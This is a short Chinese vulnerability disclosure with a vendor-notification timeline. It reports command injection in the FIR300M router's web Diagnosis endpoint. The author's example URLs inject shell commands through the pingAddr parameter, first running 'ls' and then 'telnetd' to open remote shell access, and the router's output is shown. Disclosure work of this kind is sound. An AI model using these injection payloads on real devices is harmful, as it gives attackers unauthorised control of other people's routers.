漏洞详情

披露状态:

2014-09-20: 细节已通知厂商并且等待厂商处理中
2014-09-25: 厂商已经确认,细节仅向厂商公开
2014-10-05: 细节向核心白帽子及相关领域专家公开
2014-10-15: 细节向普通白帽子公开
2014-10-25: 细节向实习白帽子公开
2014-11-04: 细节向公众公开

简要描述:

上次的Diagnosis中system_command似乎已经被封,但是依然存在着参数过滤不严问题,也不知道这算不算是漏洞,毕竟设备在自己手上,想干啥不行.

详细说明:

前几天看FIR300M才19.9! 果断买来爽一爽, 发现之前发现的system_command没了, 于是试着其他的办法
http://192.168.1.1/goform/Diagnosis?pingAddr=|echo ""|ls
发现过程:
连ttl,发现输出是这样的
试着提交一下
http://192.168.1.1/goform/Diagnosis?pingAddr=192.168.1.100
输出
ping -c 4 -s 64 -W 3 192.168.1.100 > /tmp/diagnosis
Web user Login:User:admin Mac:00:21:6b:13:6e:ac
login wizard.
ping -c 4 -s 64 -W 3 |echo ""|ls > /tmp/diagnosis
BusyBox v1.12.1 (2014-04-11 13:39:13 CST) multi-call binary
Usage: ping [OPTION]... host
果断
http://192.168.1.1/goform/Diagnosis?pingAddr=192.168.1.100|echo""|telnetd
可以连了.

漏洞证明:

Screenshot - 2014年09月20日 - 14时56分10秒.png

修复方案:

标签: none

评论已关闭